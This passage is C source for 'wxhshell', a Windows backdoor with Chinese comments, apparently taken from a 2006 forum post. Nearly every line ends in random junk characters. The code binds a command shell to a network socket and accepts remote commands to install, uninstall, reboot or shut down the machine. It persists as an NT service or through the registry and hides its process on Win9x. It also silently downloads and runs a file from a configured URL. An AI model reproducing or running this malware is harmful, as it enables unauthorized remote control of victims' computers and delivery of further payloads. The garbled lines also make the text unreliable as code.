  else ~ Uo)0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Ta N{"  
  } RW P<B0)  
  else { ~gu3g^<0v  
TB;o~>9U  
    switch(cmd[0]) { `ImE% r!  
  'fL"txW  
  // 帮助 5MSB dO  
  case '?': { ce6__f 5?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C R|lt  
    break; 6_4D9 W  
  } K x~|jq  
  // 安装 A7c/N=Cp^  
  case 'i': { pNRk.m]  
    if(Install()) "gD-8C3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %r+vSGt;5  
    else |$7vI&m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J6jwBo2m  
    break; u~)`&1{%  
    } Y\0}R,]a-  
  // 卸载 pZU9^Z?~6  
  case 'r': { ci+tdMA  
    if(Uninstall()) %4W$Lq}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V:G>G'Eh0  
    else P<fnLQ9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ks\ NE=;5  
    break; d9n?v)<v  
    } b<]n%Q'n  
  // 显示 wxhshell 所在路径 *~/OOH$"  
  case 'p': { 1$*%"5a  
    char svExeFile[MAX_PATH]; b2@VxdFN  
    strcpy(svExeFile,"\n\r"); NuU9~gSQ  
      strcat(svExeFile,ExeFile); X(7qZ P~  
        send(wsh,svExeFile,strlen(svExeFile),0); ?i`l[+G  
    break; L_w+y  
    } 7+hK~  
  // 重启 c=AOkX3UD  
  case 'b': { LbtX0^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HD N9.5 S  
    if(Boot(REBOOT)) wW"z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +S))3 5N[  
    else { +<prgP`v  
    closesocket(wsh); ;us%/kOR  
    ExitThread(0); )yo a  
    } ^V %rag  
    break; Wpc|`e<  
    } _{|D  
  // 关机 xW[ -n  
  case 'd': { |7#[ (%D!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P4Th_B7  
    if(Boot(SHUTDOWN)) 1@gguRF:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G7=p Bf  
    else { W0=O+0$^  
    closesocket(wsh); 9!><<7TS  
    ExitThread(0); V_Wwrhua  
    } # 6!5 2  
    break; V#jWege  
    } F_bF  
  // 获取shell apk4 j\i?5  
  case 's': { ,<A$h3*  
    CmdShell(wsh); =~I-]4  
    closesocket(wsh); IuZ) [*W  
    ExitThread(0); TT9z_Q5~  
    break; {-A^g!jT&  
  } |+$%kJR=  
  // 退出 1jX3ey~  
  case 'x': { 6; Y0a4Ax  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S\CRG>  
    CloseIt(wsh); a" H WGY  
    break; f7I{WfZ\P  
    } 5E0eyW  
  // 离开 4^<6r*  
  case 'q': { %?e(hnM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }$\M{# C~  
    closesocket(wsh); "z<azs  
    WSACleanup(); Od?qz1  
    exit(1); -LM;}<  
    break; hva2o`  
        } NvN~@TL28  
  } >{ me  
  } + S4fGT  
Zatf9yGD  
  // 提示信息 qT/Do?Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .`CZUKG  
} R<x'l=,D(  
  } e:AHVep j{  
{s3z"OV  
  return; G Xt4j  
} uGs; }<<8  
~r{5`;c  
// shell模块句柄 }Yv\0\~'W|  
int CmdShell(SOCKET sock) {m`A!qcD|  
{ kcDyuM`  
STARTUPINFO si; FWC5&tM  
ZeroMemory(&si,sizeof(si)); P_u|-~|\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f+.T^es  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gKg-O  
PROCESS_INFORMATION ProcessInfo; [j4v]PE  
char cmdline[]="cmd"; Eq:2k)BE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8_K6 0eXz  
  return 0; +wW@'X  
} U}$DhA"r"  
4'p=p#o  
// 自身启动模式 )f dE6  
int StartFromService(void) VGqa)ri"  
{ {J5JYdK  
typedef struct _p?s9&  
{ FecktD=  
  DWORD ExitStatus; 5( _6+'0  
  DWORD PebBaseAddress; umLb+GbI4  
  DWORD AffinityMask; u>pBB@  
  DWORD BasePriority; an2AX% u  
  ULONG UniqueProcessId; *4|Hqa  
  ULONG InheritedFromUniqueProcessId; -|Kzo_" v5  
}   PROCESS_BASIC_INFORMATION; 8q)=  
S-#q~X!yJ  
PROCNTQSIP NtQueryInformationProcess; t4K~cK  
'lZ.j&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V\K<$?oUb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N -w(e  
iqW1#)3'R  
  HANDLE             hProcess; $mGvJ*9  
  PROCESS_BASIC_INFORMATION pbi; KLC{7"6e)  
[_xyl e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dGwszziuK  
  if(NULL == hInst ) return 0; htP|3B  
1nPZ<^A&@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Ki`Ze"x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^zEE6i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7~M<cD  
eo^/c +FG  
  if (!NtQueryInformationProcess) return 0; $j)hNWI  
>"3>fche  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9SMiJad<  
  if(!hProcess) return 0; r.0oxH']  
A"Q@W<.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R.s|j=  
`P@- %T  
  CloseHandle(hProcess); ]IJv-(  
mDFlz1J,e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l2hG$idC  
if(hProcess==NULL) return 0; wcDjg&:=ml  
5jq=_mHt  
HMODULE hMod; @6o]chJo  
char procName[255]; djT5 X  
unsigned long cbNeeded; d77r9  
-v?hqWMp#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GD-&_6a  
/NF#+bx  
  CloseHandle(hProcess); P%X-@0)  
oojiJ~  
if(strstr(procName,"services")) return 1; // 以服务启动 5(&xNT-n8  
F=)eLE{W  
  return 0; // 注册表启动 HI&kP+,y  
} R|!B,b(  
xn}BB}s{t  
// 主模块 *@ED}Mj+  
int StartWxhshell(LPSTR lpCmdLine) GbU@BN+_  
{ *Dr5O9Y  
  SOCKET wsl; +pqM ^3t|y  
BOOL val=TRUE; pJ, @Y>  
  int port=0; ED} 31L  
  struct sockaddr_in door; K X]oE+:  
i[semo\E  
  if(wscfg.ws_autoins) Install(); /-0' Qa+*  
I_ "Z:v{  
port=atoi(lpCmdLine); UBO^EVJ  
U/qE4u1J6M  
if(port<=0) port=wscfg.ws_port; ]B9 ^3x[:  
?TEK=mD#u  
  WSADATA data; -T/W:-M(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AH{^spD{7,  
6ew "fCrH!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2H?d+6Pt3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %c^ m\ E  
  door.sin_family = AF_INET; yZ}d+7T}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o4=Yu7L  
  door.sin_port = htons(port); iz}sM>^  
G@d`F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < 8(?7QI  
closesocket(wsl); INMP"1  
return 1; $R{8z-,Q  
} #\If]w*j  
:,*eX' fH  
  if(listen(wsl,2) == INVALID_SOCKET) { B!aK  
closesocket(wsl); >R,?hWT  
return 1; jOtX 60;  
} DpL8'Dib  
  Wxhshell(wsl); :_d3//|  
  WSACleanup(); _LfHs1g4  
Jme%  
return 0; [^PCm Z6n  
@Hr+/52B  
} 7S2C/f  
+AQDD4bu  
// 以NT服务方式启动 zJ& b|L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >mIg@knE  
{ M/jb}*xDR  
DWORD   status = 0; =L 0fZf  
  DWORD   specificError = 0xfffffff; fU*C/ d3  
,9/5T:2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O25m k X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %]Cjhs"v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @sf 90&f  
  serviceStatus.dwWin32ExitCode     = 0; ged,>  
  serviceStatus.dwServiceSpecificExitCode = 0; gAE!a Ky  
  serviceStatus.dwCheckPoint       = 0; kC^.4n om  
  serviceStatus.dwWaitHint       = 0; Z6=~1'<X  
&`:rp!Lc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~y\:iL//E  
  if (hServiceStatusHandle==0) return; j|'R$|  
s j9D  
status = GetLastError(); Da,&+fZI!  
  if (status!=NO_ERROR) x% XT2+  
{ 2Ug.:![  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kG3!(?:  
    serviceStatus.dwCheckPoint       = 0; r#~K[qb  
    serviceStatus.dwWaitHint       = 0; F ! )-|n}  
    serviceStatus.dwWin32ExitCode     = status; U'3Fou}  
    serviceStatus.dwServiceSpecificExitCode = specificError; +0#JnqH"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hql5oA  
    return; R+. Nn  
  } }V^e7d  
WV_`1hZX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 52<~K  
  serviceStatus.dwCheckPoint       = 0; {^&k!H2  
  serviceStatus.dwWaitHint       = 0; 5 ;vC(Go  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +Hyk'=.W  
} e(\Q)re5Q  
zHx mA  
// 处理NT服务事件,比如:启动、停止 9A;6x$s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wA0eG@xi)  
{ *h,3}\  
switch(fdwControl) Dsb(CoWw  
{ me'(lQ6^  
case SERVICE_CONTROL_STOP: w#{l 4{X|  
  serviceStatus.dwWin32ExitCode = 0; }GRMZh_8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7s]Wq6  
  serviceStatus.dwCheckPoint   = 0; ]%XK)[:5_=  
  serviceStatus.dwWaitHint     = 0; rdI]\UH  
  { |9]PtgQv7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rsSue_Q  
  } p+D=}O  
  return; u`p_.n:5)  
case SERVICE_CONTROL_PAUSE: 1jOKcm'#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qk7J[4  
  break; v!!;js^  
case SERVICE_CONTROL_CONTINUE: 4hNwKe"Ki  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aiR5/ ZD  
  break; .wri5  
case SERVICE_CONTROL_INTERROGATE: 9[f%;WaS  
  break; "z/V%ZK~f  
}; ;vUxO<cKFq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^n71'MW  
} <UAP~RH{  
QE6El'S  
// 标准应用程序主函数 }@*I+\W/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) foyB{6q8  
{ {*__B} ,N  
8|vld3;  
// 获取操作系统版本 ruHrv"29  
OsIsNt=GetOsVer(); u[mY!(>nQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gy^FrF   
g =x"cs/[  
  // 从命令行安装 z"av|(?d  
  if(strpbrk(lpCmdLine,"iI")) Install(); V(I7*_ZFl  
@$ftG  
  // 下载执行文件 /yt7#!tm+  
if(wscfg.ws_downexe) { {tmKCG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Okoo(dfM  
  WinExec(wscfg.ws_filenam,SW_HIDE); W2n*bNI  
} ~1d!hq?/q  
aL 8Gnqf2  
if(!OsIsNt) { 8vO;IK]9b^  
// 如果时win9x,隐藏进程并且设置为注册表启动 y;,y"W  
HideProc(); 0k.v0a7%  
StartWxhshell(lpCmdLine); kXCY))vnn  
} )DRkS,I  
else 4n4j=x]@  
  if(StartFromService()) \AHY[WKx  
  // 以服务方式启动 `;}H%  
  StartServiceCtrlDispatcher(DispatchTable); q'2`0MRa  
else @5GBuu^j  
  // 普通方式启动 p~FQcW'a~  
  StartWxhshell(lpCmdLine); ~ ;XYwQ"  
>Pyc[_j  
return 0; @bY?$fj_u  
}
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只看该作者 1 发表于: 2006-10-10
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